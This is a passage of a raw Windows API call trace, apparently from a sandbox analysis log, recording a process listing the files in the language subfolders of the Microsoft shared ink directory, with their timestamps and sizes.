dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0213.942] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0213.942] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0213.942] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0213.942] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0213.943] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0213.943] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0213.943] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0213.943] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0213.943] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.943] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0213.943] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0213.944] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0213.945] GetProcessHeap () returned 0xc10000 [0213.945] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.946] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0213.947] GetProcessHeap () returned 0xc10000 [0213.947] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.948] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.948] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.948] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.948] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0213.948] GetProcessHeap () returned 0xc10000 [0213.948] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.948] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0213.949] GetProcessHeap () returned 0xc10000 [0213.949] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.949] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0213.949] GetProcessHeap () returned 0xc10000 [0213.949] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.949] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0213.949] GetProcessHeap () returned 0xc10000 [0213.949] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.950] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.950] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.950] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.950] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0213.950] GetProcessHeap () returned 0xc10000 [0213.950] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.950] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0213.950] GetProcessHeap () returned 0xc10000 [0213.950] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.951] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.951] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.951] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.951] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0213.951] GetProcessHeap () returned 0xc10000 [0213.951] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.951] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0213.951] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0213.951] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0213.952] GetProcessHeap () returned 0xc10000 [0213.952] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.952] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.952] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.952] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.952] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0213.952] GetProcessHeap () returned 0xc10000 [0213.952] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.952] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0213.952] GetProcessHeap () returned 0xc10000 [0213.953] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.953] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.953] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, 